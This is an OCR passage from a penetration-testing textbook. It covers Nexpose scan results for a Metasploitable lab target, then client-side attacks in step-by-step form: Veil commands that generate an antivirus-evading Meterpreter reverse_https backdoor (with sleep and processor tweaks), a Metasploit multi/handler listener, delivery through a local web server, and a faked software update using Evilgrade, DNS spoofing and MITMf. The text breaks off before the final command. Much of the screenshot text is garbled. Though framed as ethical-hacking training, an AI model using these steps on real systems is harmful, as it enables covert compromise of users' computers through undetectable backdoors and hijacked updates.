Showing 1 to 10 of 306 | aExpcnto csv Rows per page:. 10 1 of 31

Again, if there is any malware we will see it under the malware icon, and if there is an
exploitation we will see under the exploit icon. Now, all of the top vulnerabilities listed
don't have an exploitation using a tool, but they are ordered based on the risk. The
listed vulnerabilities are very risky, and as we proceed through them the risk decreases.
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We can see in the preceding screenshot that we discovered that the VNC password is
"password". We can go in and try to connect using VNC. VNC is a service that's very
similar to Remote Desktop. Basically, it will show us the desktop and it will allow us to
gain full access to the target computer, just like Remote Desktop. It's telling us that the
password for login is password. It's also telling us that there is a back door Shell Backdoor
Service running, and we used that already.

Now, let's look at something that can be exploitable. We are going to click on the exploit
icon to order them by the exploit, and we can see that all of these have an M logo, which
means that they can be exploited using Metasploit:

VULNERABILITIES ©

Apply Filers (0 2
Title 8 CVSS Risk Published On Madified On Severity Instances Exceptions

] User and f ] 899 MonNov092009 FriJun032006  Criical 1 @ Exclude

@ 867 FrlApr17 2009 Tue Jul 04 2017 Severe 1

@ 849 Tue Apr 102012 Tue Jul 04 2017 Critical 1

@ 844 Mon Jul 13 2009 Tue Jul 04 2017 Critical 1

@ Ba4  Man Jul 13 2009 Tue Jul 04 2017 Critical 1

fabl @ B30 Wed Sep 24 2014 Wed Mar 21 2018 Critical 1

lly erafted @ 830 TueSep 302014 Tue Sep 30 2014 Critical 1

@ 758 FriJan 011999 Wed Dec 04 2013 Critical 1

I} 758 FriJan 01 1999 wed Dec D4 2013 Critical 1

@ 732 ThuJdun17 2010 Tue Jul 04 2017 Crinical 1

to C3V Riows peé

As you can see in the preceding screenshot we have the Remote Shell Service that we can
use, and there is the Remote Login Service that can be used as well, which we have already
had alook at. Let's click on something that we haven't seen before, for example, Default
Tomcat User and Password. In the following screenshot we can see a description of this
vulnerability:

Detault Tomeat User and Pageword

(¥ apache-tomcat-default-password PUDLISHICD Hov 9,2009 CXPLOITADILIT 3
SEVERITY Critical (10} ADDED Sep 1,2010
RISK SCORE RO MODIFIED kn 2016

10

CV55 AV AL LA AL

HP Operations Manager 8.10 on Windows contains a hidden aceount” in Ue XML file thol specilies Tomcal users, which allows renmwle allackers Lo conduct unesbicted hile upload allecks, and thereby
execute arbitrary code, by using the org.apache catalina.manager. HTMLManagerServiet class to make requests to manager/htmi/upload.
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Again, we can see the port that it's running on, and you can see why it thinks that this
particular target is vulnerable to this exploit:

Stalus

Vulnerable TP 8180

Pt Pola  Key Procl Last Scan Exceptom

imanages/mmi Jul 1 2. 2018 @ Frris

« Running HTTR sarvca
+ Product Tomcat ewists - Apache Temeat
Based on the foliowing 2 results:

1.HTTP GLT request to http./10.0.2 4210

HITH mspanse ot was an sxpectad 401

2 HTTP GET reguwes! lo e/ 1002
HTTP response code was an expecied 200
78: <mg border-"0" alt~"The Apache Software
Toundation” align="left

anager images/ asf4ogo.gif >

Ttpriftameat apacha egi
alt="Tha Tomcat Sandat/ JS0

If we scroll down, it will show you how we can exploit it:

EXPLOITS

Dploit Source Link v

Apache Tomeat Manager Application Deployer
Authenticated Code Drecution

(@ Mctasploit Module

Apache Tomcat Manager Authenticated Upload Code [m Metasploit Module

Frecution

Terneal Application Manager Login Uilily

Apache Tomeal Manages - Applicalion Deployer
{Authenticated) Code Fxecution (Metasploit)

Description

Thia module can be used to exccute a payload on Apache Tomeat servera that have an exposed "manager” application. The paylead is
uploaded as a WAR archive containing a jsp application using a PUT reguest. The manager application can also be abused using
fmanager/htmlfuptoad, but that methed is not implemented in this medule. NOTL: The compatibde payload sets vary based on the
selected target. For example. you must select the Windows target to use native Windows payloads.

This module can be used to execute a payload on Apache Tomcat servers that have an exposed *manager’ application. The payload is
uplnasded as a WAR archive containing a jsp appl

1 using & POST request against the fmanages ml/uplosd compnent, NOTE The
compatilie payload sels vary based on the selec

paylonds

get For example, you mus sele

the Windows {arget 1o use native Windows

Thiss muodule simply allempls 1o login o s Tomeal Applicalion Manages inslance using a specifie wies/fjss
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There are three different modules that can be used to exploit it, but it doesn't really have to
exploit it. Sometimes we just see modules that can be used to verify the existence of this
exploit, but basically these are the modules associated with it. If we click on the Source
Link of any Exploit, it will take us to the Rapid7 page that we used to see when we
Googled stuff:

€ | @ & | https:iiwww rapid7.com/db/madules/exploit/multifhttp/tomeat_magr_deploy @ || Q Search *E & A Q9 =
[ Most Visited~  JlOensive Security S Kali Linux " Kali Docs S Kali Tools & Exploit-D8 W Aircrack-ng S Kali Forums S NetHunter & Kali Training @ Getting Started

Back to search

Apache Tomcat Manager Application Deployer Authenticated Code
Execution

This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager” application. The payload is uploaded as a WAR archive containing a
Jsp application using a PUT request. The manager application can also be abused using /manager/htmil/upload, but that methed is not implemented in this module. NOTE: The
compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.

Module Name

expleit/multi/mttp/tomeat_mor_deploy Free Metasploit Download

Get your copy of the world's leading penetration testing tool

Authors [ReE——,

jduck =jduck [at] metasploit.coms

References

ZDI-10-214

CVE-2003-38:

OSVDB-60317
CVE-2009-418%

wasZuid=swg 21419179
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We see the Module Name, which we can just copy and paste into Metasploit, where we
can run show options and then use the exploit the same way that we've seen it in
previous chapters. Scrolling down further reveals the REFERENCES to the particular
exploit:

REFERENCES

Source 1D

BID 38084

CVE CVE-2009-3843
CVE CVE-2010-0557
5 54361

At the bottom, it'll show us the REMEDIATIONS on how we can fix this exploit:

REMEDIATIONS

VULNERAEBILITY ROLLUP SOLUTIONS VULNERABILITY SOLUTIONS

Change the Tomcat service administrator account password.
Configuration remediation steps

The Tomcat service has an administrator account set to a default configuration. This can be easily changed in conf/tomcat-users.xmil

For this vulnerability, all we need to do is just change the administrator password and not
use the default configuration.
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Another useful thing is in the Reports tab:

Create a report

Name  metasploitable report Reportime zone  (GMT -0400) Eastern Time (US & Canada)

Template

Audit Report g Baseline Comparison - Executive Overview 3 Highest Risk Vulnerabilities -

This framework allows us to generate reports for each scan that we do, and there are
different types of template for the reports. Inside Create a report, we can see that there is
an Audit Report that contains a lot of detailed information for the programmers or for the
technical people. We can use an Executive Report, which has less information and is made
for the managers or for the top-level people that don't have much experience with technical
stuff. We can select any template we want and name it anything. We will call this

report metasploitable report, as shown in the preceding screenshot. If we scroll a little
we can select the format that we want:
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File format

PDF
Scope

Lr..‘ .
o Y
Select Scan Select Sites Assets.  Filter report scope based
Asset Groups or Tags on vulnerabilities

Frequency

Do not run a recurring report
Configure advanced settings...

SAVE&RUN THE REPORT [l SAVE THE REPORT

It's set to PDF in the preceding screenshot. Then, we are going click on Select Scan, select
our target scan that we want to generate a report for, and select metasploitable:

To select a scan to report on, first select the site in which the scan was run,

Name Assely Vulnerabilities Risk Scorew Type Last Scan
s} metasploitable 1 306 156313 static Inaane,
1:23:01 AM

[250]



Scanning Vulnerabilities Using Tools Chapter 11

Then, we click on SAVE & RUN THE REPORT to generate the report:

File format

PDF
Scope

Select Scan Filter report scope based
on vulnerabilities

Frequency

Do notrun a recurring report
Configure advanced settings...

SAVE & RUN THE REPORT SAVE THE REPORT

We can also generate reports automatically every time, because we can schedule reports,
schedule scans, and we can also schedule an automatic report each time a scan is done. For
example, if we are scanning every week, you can also generate a report every week, every
time that scan's done. Now, just download the report by clicking on the report, and let's see
what it looks like:

View reports

MEW Rows 10 1-10f1

Report Name Most Recent Report w

%2 metasploitable report Jul 12th, 2018, 2:56 AM

As we can see in the following screenshot, it has the date, it has the title, it has all the
exploits that have been found, but this is the executive report. It has small details about the
exploits and more graphical stuff to show the executives the risks that have been found and
how critical they are:
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1. Executive Summary
This report represents a security audit performed by Nexpose from Rapid7 LLC. It contains confidential information about the state of
your network. Access to this information by unauthorized personnel may allow them to compromise your network.

Site Name ‘Start Time 'End Time “Total Time Status
metasploitable July 12,2018 01:13, EDT | July 12, 2018 01:23, EDT |9 minutes Success

There is not enough historical data to display risk trend.
The audit was performed on one system which was found to be active and was scanned.

Vulnerabilities by Severity

Critical Severe Moderate

There were 306 vulnerabilities found during this scan. Of these, 78 were critical vulnerabilities. Critical vulnerabilities require immediate
attention. They are relatively easy for attackers to exploit and may provide them with full control of the affected systems. 198
vulnerabilities were severe. Severe vulnerabilities are often harder to exploit and may not provide the same access to affected systems.
There were 30 moderate vulnerabilities discovered. These often provide information to attackers that may assist them in mounting
subsequent attacks on your network. These should also be fixed in a timely manner, but are not as urgent as the other vulnerabilities.

As we can see in the preceding screenshot, Nexpose shows us much more detail and it's
much more advanced. It's directed towards bigger companies, bigger infrastructures, where
we need to always make sure everything is up to date, everything is installed, and there
aren't any exploits.

Summary

We have seen how we can use the Metasploit framework, which comes preinstalled with
Kali Linux. We then used this framework for various scans and also studied how to analyze
the reports generated. We then installed the Nexpose tool and saw how to use it to scan the
vulnerabilities and get reports in the form of graphs. We also learned how to read through
it.

In the next chapter, we will be covering various client-side attacks.
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Client-Side Attacks

In the previous chapter, we started by learning how to gain access to victim machines using
server-side attacks. We will now move on to client-side attacks, discussing what they are,
and how a tool called Veil can be used to generate an undetectable backdoor. We will also
discuss payloads. Once we have a brief idea about payloads, we will generate a backdoor
through which we will implement client-side attacks on our own system, enabling us to
listen to connections. Finally, we will look at how to implement backdoors in real time, as
well as techniques we can use to protect our system from such attacks.

In this chapter, we will cover the following topics:

Client-side attacks

Installing Veil

Payloads overview

Generating a Veil backdoor

Listening for connections

Testing the backdoor

Fake bdm1 updates

Client-side attacks using the bdm2 BDFProxy
Protection against delivery methods
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Client-side attacks

In this section, we're going to learn about client-side attacks. Often, it's better to try to gain
access to a target using server-side attacks, such as trying to find exploits in the operating
system and in the applications installed. If that doesn't work, or if our target is hidden
behind an IP or is using a hidden network, our next resort is a client-side attack. Client-side
attacks require the user to do something, such as open a link, install an update, or
download an image that will then run code on their machine. Because these attacks require
user interaction, information gathering is very important—information about an
individual's applications and who they are as a person. For a client-side attack to be
successful, we need to know a person's friends, what networks and websites they use, and
what websites they trust. Therefore, our focus when gathering information is the person,
rather than their applications or operating system.

The attacking machine will be a Kali machine and the target machine will be Windows. To
ensure they're on the same network, both machines will use NAT networks. In our
examples, we will be using reverse connections, so separate IP addresses are not essential in
this case.

Installing Veil

In this section, we're going to learn how to generate an undetectable backdoor. A backdoor
is just a file that, when executed on a target computer, will give us full access to it. There are
a number of ways of generating backdoors, but what we're interested in is generating a
backdoor that is not detectable by antivirus programs. This actually isn't hard to do, as we
will see, if you use a tool called Veil-Evasion.

Veil-Evasion used to be a standalone tool, but its creators have recently
combined it with other tools in the framework, re-releasing it as Veil-
Framework. Nowadays, it is usually referred to as just Veil.
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Download the latest version of Veil, which is 3, from the following GitHub link: https://
github.com/Veil-Framework/veil. If you are unfamiliar with GitHub, it is a version
control system that allow programmers to post, share, and update source code. GitHub is
used a lot when downloading programs. Veil's repository can either be downloaded via
GitHub's link or by copying it to your terminal. Now, before we download it, we actually
want to store it in the /opt directory, so we will be doing cd to navigate to a different
directory, and we are going to put /opt to open a directory called opt. Now, this is where
we will be storing your optional programs, hence the name opt, and if we do 1s to list the
available directories, we will see that we only have one directory for a program called
Teeth.

Now, if we want to download veil, we have to copy the repository link from GitHub and
then go to our Terminal, to the location where we want to download it. So, first we change
the directory to /opt, and then we are going to do git clone, and input the URL of the
repository. The command is very simple, as follows:

git clone https://github.com/Veil-Framework/Veil

Here, we're using the clone command to tell git that we want to clone or download this
framework, program, or project, before sharing the link with Veil. To download the desired
project, simply hit Enter, as shown in the following screenshot:

If we use the 1s command to list our files, we should see a new directory called veil.
We're able to navigate to that directory by inputting cd veil/. The 1s command should
list all the available files, including veil. py, which we need to install. To do this, navigate
to the config directory by inputting cd config/, and run the setup. sh bash script. This
script will install Veil-Evasion.
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To run an executable in Linux from the terminal, simply enter . /, followed by the name of
the executable, as shown as follows:

./setup.sh

The previous command should generate the following result:

dependenc
winedi
winedrive = /var/lib/veil/wi
gempath Z:\var\lib\veil\win rive c\Rubyl87\bin\gem

[I] Kali Linux 2018.2 x86_64 detected...

[?7] Are you sure you wish to install Veil?

Continue with installation? ([yl]es/[s]ilent/[N]o): I

As you can see in the previous screenshot, we're being asked if we want to install Veil, to
which yes, we are. Note that the installation may take a while.
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Now, we first open the Terminal we are going to navigate to the /opt directory, because
that's where we cloned veil, and that was cloned in a directory called veil. So, we're
inputting cd/opt /Veil/ to navigate to change the working directory, and we're going to
the /opt /veil/ directory. Then we are going to launch, and are now inside the veil
directory. If we input the 1s command, we will see we have the veil executable. So, we
can run any executable, like we said, by putting . / followed by the name of the executable,
which is Veil.py. We are going to launch it, leading to the welcome screen for veil, as
shown in the following screenshot, and now we can start using the tool. We'll cover the
usage of this tool in the next chapter.

Payloads overview

Now that Veil is installed, we can take a look at its commands. The commands are
straightforward, with exit allowing us to exit the program, and info providing us with
information about a specific tool.1ist will list the available tools, update will update Veil,
and finally, use enables the use of any tool, as shown in the following screenshot:

[Web]: htt

Main Menu
2 tools loaded
Available Tools:

1) Evasion
2) Ordnance

Available Commands:

exit 0

info fo 0 tool
list i

options how Veil configurat

update e Veil

use Use a specific tool
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The 1ist command displays Veil's main commands, which are as follows:

1. Evasion: This generates undetectable backdoors

2. ordnance: This generates the payloads used by Evasion; this is more of a
secondary tool

A payload is a part of the code, or of the backdoor, that does what we want it to. In this
case, it gives us a reverse connection and downloads and executes something on a target
computer.

When Veil-Evasion has loaded, you should see something similar to the following
screenshot:

Veil-Evasion Menu

41 payloads loaded

Available Commands:

back Guo Lo Veil's main menu

checkvt > Vi L 5t generated hashes
clean LEMOoY g d artifacts

exit npl y exit veil

info m 3 ecific payload

list i ads

use 5 Load

As you can see, Veil gives us a list of commands that can run on this tool. What we want
here is to 1ist all of the available payloads, of which there are 41. Each payload is divided
into three parts, as shown in the following screenshot. We've highlighted the payload we'll
be using, 15) go/meterpreter/rev_https.py:
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[*] Available Payloads:

autoit

vice.py
vice.py

_http.py
meterpreter/rev_https.py
/_tcp.py
inject/base64.py
inject/virtual.py

o/meterpreter/rev_http.py
/_https.py
;_tcp.py
lua/shellcode inject/flat.py
ellcode inject/flat.py
_http.py

v_https.py
_tcp.py

ct/ c_virtual.py

bind tcp.py

ev_http.py

_https.py
python/meterpreter/rev_tcp.py

The first part of the payload's name is cs, which refers to the programming language the
payload will be wrapped in. As you can see in the preceding screenshot, languages used

include GO, C, CS, Python, PowerShell, and Ruby.
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The second part of any payload is really important, as this is the type of payload; in other
words, the type of code that's going to be executed on the target computer.

In this example, we're using Meterpreter, which is a payload designed by Metasploit.
Metasploit is a huge framework sometimes used for hacking. Meterpreter runs in memory,
so is difficult to detect and doesn't leave a large footprint. Using Meterpreter, we can gain
full control over a target computer, allowing us to navigate through the filesystem, turn on
the webcam, install or download files, and much more.

The third part of a payload's name is the method that's going to be used to establish its
connection. In our example, that's rev_https. rev, which stands for reverse, and https is
the protocol that will be used to establish the connection. There are also a few examples

of rev_tcp in the preceding screenshot, which creates a reverse TCP connection.

A reverse connection is where the target computer connects to an attacker computer via a
backdoor. This method bypasses antivirus programs because the connection is not directed
at the target computer, but rather at the attacker instead. In our case, we are going to use a
port that many websites use, 80 or 8080, so the connection will appear as a harmless
website connection. Reverse connections also work on hidden computers, making it one of
the most practical methods of gaining access to a machine.

Some payloads don't follow the conventional naming pattern, such as shellcode_inject.
This instead creates a normal payload that injects our other payload.

Generating a Veil backdoor

We're now going to use Veil to generate a backdoor. First, we'll run the 1ist command.
We'll type the use 1 command, as we want to use Evasion and press Enter, and, as we
want to use the fifteenth payload, we'll run the use 15 command, as follows:
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Pure Golang

go

Normal

pure windows A . no
shel e

Payload: go/meterpreter/rev_https s
Required Options:

Name Value
BADMACS L for VM based MA
CLICKTR Require X number of c
COMPILE_TO EX Compile to an executable
CURSORCH Che for mou movements
DISKSIZE Chec
HOSTNAME Optional:
TNIFCT_MFTHOD v Virtual or Hea
LHOST IP of the Metasploit handler
LPORT B Port of the Metasploit handler
MINPROCS Minimum number of running proce
PROCCHECK :ck for active VM proc
: Minimum number of processors
of RAM
E nds, check if
USERNAME = ir user account
USERPROMPT pt r prior to injection
UTCCHECK A eck i em uses UTC time

Available Commands:

; Go back to Veil-Evasion
exit Completely it veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option

Using the following options, we're going to change the payload's IP LHOST to the IP
address of the Kali machine we're using.
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To get the IP address of our Kali machine, we have to run i fconfig. Split the screen by
right-clicking and selecting Split Horizontally, and then run the command. As shown in
the following screenshot, the Kali machine's IP address is 10.0.2. 15, which is where we
want the target computer's connection to return to once the backdoor has been executed:

: /opt/Veil# ifconfig
163<UP, BROADC ,RUNNING,MULTICAST> mtu 1500
7

255.0 broadcast 10.6.2.255
prefixlen 64 scop Ix20=1ink=
(Etherne
9 MiB)

(19.1 MiB)
carrier ® collisions ©®

73<UP, LOOPBACK , RUNN
inet 127.0.0.1 netmask
ixlen 12 5C0 0x10<host=
g en 1000 oca ypback)
s 54314 byt . 312: (28.5 MiB)
dropped € D frame 0

TX packets 54314 25 . (28.5 MiB)
TX errors @ dropped © overruns @ carrier @ collisions ©

To set LHOST as 10.0.2.15, write the set command followed by the option you want to
change, as shown as follows:

set LHOST 10.0.2.15

We now need to change LPORT so that it's set to 8080. This port is also used by web servers,
so will not appear suspicious and should still bypass firewalls. To set the correct port, input
the set LPORT 8080 command, as shown in the following screenshot:
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[go/meterpreter/rev_https==]: options
Paylvad: go/meterpreter/rev_https selecled

Required Options:

ulqs for hard

Virtual
10.0.2.15
8080

CESSOrsS
M
eck if accelerated

USERNAME J nptlnn:l
USERPROMPT FA Prompt
UTCCHFCK Al ¢ Check i

Available Commar

This process will bypass every antivirus program except AVG, according to experience.
Antivirus programs work using a large database of signatures. These signatures correspond
to files that contain harmful code, so if our file matches any value in a database, it will be
flagged as a virus or as malware. Because of this, we need to make sure that our backdoor is
as unique as possible so it can bypass every piece of antivirus software. Veil works hard by
encrypting the backdoor, obfuscating it, and injecting it in memory so that it doesn't get
detected, but this doesn't wash with AVG.

To ensure our backdoor can bypass AVG, we need to modify the minimum number of
processors used by it—in this case, 1. To do this, use the following command:

set PROCESSORS 1
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We will also modify the SLEEP option, which is the number of seconds a backdoor will wait
before it executes the payload. To tell your backdoor to wait 6 seconds, use the following
command:

set SLEEP 6
These changes are reflected in the following screenshot:

https>>]: option

_https selected

Descriplion

for VM based MAC 5
X number of clicks before cution

for hard dis

Port of the Me L
Minimum number running proc
acti VM proce
Minimum number of pr s
of
: k LT acceleraled
nt

g "a
options
set

We are now going to generate the backdoor using the generate command, as shown as
follows:

er the base name for output files (default is payload): I
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We now need to name our backdoor. Here, we're going to name it rev_https_8080. The
following screenshot illustrates what we see once a backdoor is generated; this includes the
module used by the backdoor, and where it's stored:

Hit enter to continue...

To test our backdoor, we're going to bypass Veil's checkvt command, which is not always
accurate, and VirusTotal, which shares its results with antivirus software, and instead opt
for the website NoDistribute, as shown in the following screenshot:

@ NoDistribute  #9Login - ®Pricing S Aboul = Ll 3 scans remaining

Browse... No file selected.

o

Scan A File

select your file In order to scan your file with over 35 anti-viruses.
The results of the scans are n buted.
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Now, click on Browse... and navigate to your file at /usr/share/veil-

output/compiled, as shown as follows:

| Cancel

® Recent « @ war lib  wvel output compiled »
@ Home Name . .
& Desktop B rev_hitps_

[ Documents
@ Downloads
11 Music

€ Pictures

H Videos

+ Other Locations

Once we have clicked Scan File, or View Previous Results, we can see that the file we
uploaded has successfully bypassed all antivirus programs, as shown in the following

screenshot:

L. ’ T
axt Results

K Fllename
rev_hitps SO0 exe

amMDps
SATSEADd AT TeBR0455 3453 TS e da

W Detected by

=

S 5ize
17EMB

L SHA256

So7 Y TaT 70 O00-S0606: RrbFa et bl G | 3969 SoA MCIGSh 30 G36655T

& 5can Date
NEN2017, BA%2T AM

Your file has been scanned with 35 different antivirus software (no results have been distributed).
The results of the scans has been provided below in alphabetical order.

Rescan This Fle

X A-Squared: Clean

0 Ad-Aware: Clean

o Avast Clean
. ANG Friee: Clean
Anira: Chean

@ Binefender: clean

Enullﬂlurtl Cha

P, Kaspersky Antivirus: Cleas
n McAfee: Clearn

-_M‘. Sequrity Essentials: Clean
S MAND Antivirus: Clear
mNom'-an' Clear

G Morton Anthirus: Clean

U Panda CommandLine: Clean

Files uploaded bypassed by the antivirus
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Remember that Veil will work best when its kept up to date with the latest version. It's also
worth noting that whether a backdoor goes undetected or not is often arbitrary—one
backdoor we previously generated with no sleep setting was detected by antivirus
software, as was one with a sleep time of 10 seconds. A backdoor set with a sleep time of 6
seconds, however, bypassed every program.

We recommend playing around with all the available options within a payload to find
something that works for you.

Listening for connections

As you'll know, the backdoor we created uses a reverse payload. For the reverse payload to
work, we need to open a port in our computer so that the target machine can connect to it.
When we created the backdoor, we set the port to 8080, so we need to open that port on
our Kali machine. Remember, the name of our chosen payload
ismeterpreter/rev_https in this example.

We are now going to split our screens, as before, and listen for incoming connections using
the Metasploit framework. To run Metasploit, use the msfconsole command, which
should generate output similar to the following screenshot:

:~# msfconsole

=i
=[
=l
=l
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To listen for incoming connections, we need to use a module in
Metasploit: exploit/multi/handler. To launch that module, use the following
command:

use exploit/multi/handler

Once launched, navigate to the exploit/multi/handler module. The most important
thing that you want to specify in this module is the payload, which we do with

the set command. To set the payload as windows/meterpreter/reverse_https, use the
following command:

set PAYLOAD windows/meterpreter/reverse_https

If we run the show options command now, we should see that the payload has changed
to windows/meterpreter/reverse_https, as shown in the following screenshot:

AD windows/meterpreter/reverse https

Payload options (windo terpreter/reverse _https):
Current Setting Required
EXITFUNC prc hnique ( > . seh, thread, process,
LHOST
LPORT 8443 yes The local listener port
LURI The HTTP Path

Exploit target:

Id Name

® Wildcard Target

Setting the LHOST to the IP address of our Kali machine is a similar process, and can be
done using the following command:

set LHOST 10.0.2.15
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Before you go any further, make sure that your payload, host, and port are set correctly
with the same values as those generated with the backdoor originally, as shown as follows:

> set LHOST 10.0

set LPORT 8

Module options (exp

Name Current

vad vplivns (windo nelerpreler/reverse hilps):

Name Current Setting Required Description

EXITFUNC 0 s hnique (Accepted: "', seh, thread., process., none)
LHOST yes L 1 listener h name
LPORT B 3 e local listener port
LURI 0 The HTTP Path
Exploit targct:
Id

0 Wildcard Target

All we need to do now is execute the exploit command. Now, Metasploit is waiting for
connections, as we can see in the following screenshot, on port 8080 and on our IP address,

whichis 10.0.2.15. Once a connection is established, we will be able to control the target
computer:

msf exploit( ) > exploit

[*] Started HTTPS reverse handler on https://10.8.2.15:8080

Testing the backdoor

To test that our backdoor is working as expected, we're going to put it on our web server
and download it from the target computer. We don't recommend this approach for
anything other than testing your backdoor.
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As Kali can be used as a website, we're going to put our backdoor online and download it
from the target Windows machine. We're going to keep this download in one place, a folder
called evil-files, as shown in the following screenshot:

|(> « @ var www html » Q|':|E e
ame Size Modified
© Recent Name i Modifiec
—
[ evil-files 0 items 06:31
4r Home b
& Desktop index.html 10.7 kB 12 Apr
Documents index.nginx-debian.html 612 bytes 12 Apr

D

® Downloads
J3 Music
Pictures
Videos

@ Trash

+ Other Locations

Now, the backdoor we created using Veil-Evasion, which was stored in var/1ib/veil-
evasion/output/compiled/, needs to be copied and pasted into the evil-files
directory. And that's it! We can download the file from Kali.

To start the web server and website, input the following command in the terminal:

service apache2 start

Here, the command is service, and apache?2 is the name of the web server. Hitting Enter
will execute the previous command.

We now need to navigate to our Kali machine's IP address, 10.0.2.15. This should open
the basic index.html file that we created that tells us our web server is working, as shown
as follows:
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= = 0O @

ﬂ o Type here 1o search

B 8 | B apachez Debian Defaul x | W

100213

@ Apache2 Debian Default Page

Thig is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at
Svarfuwnafhtml /index . html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site’s administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in fusr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache?-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

Jetclopached/
|-~ apache2.conf
T== ports.conf
meds -erabled
{-- *. Load
“es ¥ conf
== conf-enabled
“-- ® conf
== sites-enabled
T-= ¥, conf

=  apache?.conf is the main configuration file. It puts the peces together by including all remaining
configuration files when starting up the web server.

*  ports.conf is always included from the main configuration file. It 15 used to determine the
i ing ports for i ing cor ions, and this file can be customized anytime.

+  Configuration files in the mod bled/, conf-enabled/ and sites-enabled/ directories contain
particular configuration smppets which manage modules, global configuration fragments, or

virtual host configurations, respectively.

To go to the directory containing the backdoor, goto 10.0.2.15/evil-files and hit
Enter. We can then download and run the backdoor, as shown in the following screenshot:

3

R B T T © 10.02.15/evil-files
Index of /evil-files

Name Last modified Size Description

aParem Directory -
B rev https 8080 exe 2018-06-18 05-21 2 8M

Apache/2.4.33 (Debian) Server at 10.0.2.13 Port 80
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Now that we have run the backdoor on the Windows machine, our Kali machine will tell us
that we have received a connection from the target computer, as shown in the following
screenshot:

This means that we now have full control over that computer. In the preceding screenshot,
we can see that we have a Meterpreter session, which allows us to do anything that the
rightful user of that computer can do.

To check that the backdoor is working correctly, use the sysinfo command. You should
see that you're inside the MSEDGEWIN10 machine, which runs Windows 10 (Build
17134), has a x64 architecture, uses the en_Us language, and Meterpreter x86 for
Windows:

= - > sysinfo
Computer : MSEDGEWIN1@©
0s : Windows 10 (Build 17134).
Architecture

System Language : en_
: WORKGROUP

: 3

: %x86/windows

We've now essentially hacked our target computer. Nice work!

Fake bdm1 updates

Although we have an undetectable backdoor, we still haven't found a smart and efficient
way to deliver it to the target machine. In real life, a target probably won't download an
executable and run it if we ask them to, so we're now going to look at how to fake an
update that the user will want to download and install on their machine.

This scenario will work as long as we are in the middle of a connection, for example, when
using a fake network, when implementing a man-in-the-middle attack, or when redirecting
traffic via a mobile phone.
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In this scetion, we are going to cover DNS spoofing with ARP poisoning. This will mean
we're in the same network as the target machine, which in this example is wired and not
wireless. We'll use a tool called Evilgrade to act as a server to produce the fake update. You
can install Evilgrade at the following link:

https://github.com/PacktPublishing/Fundamentals—-of-Ethical-Hacking—-from—
Scratch.

After you have downloaded and run the evilgrade command, run the show modules
command to see a list of the programs we can hijack updates for, as shown in the following
screenshot:

rade>show modules

List of modules:

allmynotes
amsn
appleupdate
appstore

bbappworld
blackberry
bsplayer
ccleaner
clamwin

cpan

As you can see, there are 67 programs that we can hijack updates from, including some
popular ones such as Google Analytics, Nokia, Safari, and Download Accelerator Plus,
which is what we will use for this example.
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Run the configure dap command to use the DAP module. Then, use the show options
command to see all of the available configurable options, as shown in the following
screenshot:

evilgrade(dap)>=show options

Accelerator

Description = ""
VirtualHost = "(update.speedbit.com)”

description This critical update fix internal vulnerability | Description display in the update

endsite update.speedbit.com/updateok.html wWebsite display when finish update

enable Status

title Critical update Title name display in the update

failsite www.speedbit.com/finishupdate.asp?noupdate=&R=0 | Website display when did't finish update
./agent/agent.exe Agent to inject

The main option we will focus on is agent, so we need to replace
the . /agent/agent .exe path with the program path that will be installed as the update.
In our case, we want to install a backdoor as the update.

The previous backdoor in the Generating a Veil backdoor section that we
created uses a reverse_https payload, which does not work with DAP.
Instead, we will be using a different backdoor named backdoor . exe that
uses a reverse_http payload. To create such a backdoor, please refer to
the steps in the Generating a Veil backdoor section.

To change the agent so that it executes our backdoor instead of an update, use the
following command:

set agent /var/www/html/backdoor.exe
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Replace the path in the command to the path where the reverse_http backdoor is placed.
Now, run the show options command again to check that it has been configured

correctly, as shown in the following screenshot:

evilgrade(dap)>s

set agent, /var/www/html/backdoor.exe

evilgrade(dap)=show options

Display options:

Name = Download Accelerator

Version = 1.0

Author = ["Francisco Amato < famato +[ATl+ infobytesec.com>"]
Description = ""

VirtualHost = "(update.speedbhit.com)"

description This critical update fix internal vulnerability

endsite update.speedbit.com/updateok.html

enable

title Critical update

failsite www .speedbit.com/finishupdate.asp?noupdate=&R=0
Jvar /www/html /backdoor.exe

Description display in the update
website display when finish update
Status

Title name display in the update
Website display when did't finish update
Agent to inject

We can also set any other options that we want in here the same way; we just input the set
option name followed by the option value. One option that you might want to set is the

endsite.

Now, in the future, maybe this website is not going to work, so if it displays an error on the
target computer, we can change this website to any website that you want; you can just

change it to update. speedbit.com.

When everything is ready, start the server by running the start command, as follows:

{.} or string at fusr/l

|WEBSERVER ] Webserver ready. Waiting for connections ...

- [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

64- Linux-gnu/perl5 Term/ReadLine/Gnu.pm line 338,

[275]



Client-Side Attacks Chapter 12

Now, any time Evilgrade gets an update request, it will tell whoever is requesting an
update that there is an update—our backdoor. To do this, we need to redirect any request
for update.speedbit.com to Evilgrade.

We can do this switch with a DNS spoofing attack, spoofing any requests from
update.speedbit.com to Evilgrade (and our own IP address).

Open the mitmf. conf file using Leafpad with the leafpad /etc/mitmf/mitmf.conf
command, and change the port for the DNS server to 5353 to avoid conflict with Evilgrade,
as shown in the following screenshot:

[[DNS]]

#
# Here you can configure MITMf's internal DNS server
#

o 0 # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff
port 5353 # Port to listen on
()

1pvh # Run in IPv6 mode (not fully tested, might break stuff!)

#

# Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
# can also be a comma seperated list e.g 8.8.8.8,8.8.4.4

#

nameservers = 8.8.8.8

[[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.168.178.27

update.speedbit.com=10.0.2.15|

If we take a look at our A records, we will see that we are now redirecting any requests to
update.speedbit.comto our own IP address, 10.0.2.15, which Evilgrade is running
on.

All we have to do now is run a MITMf with the following command:
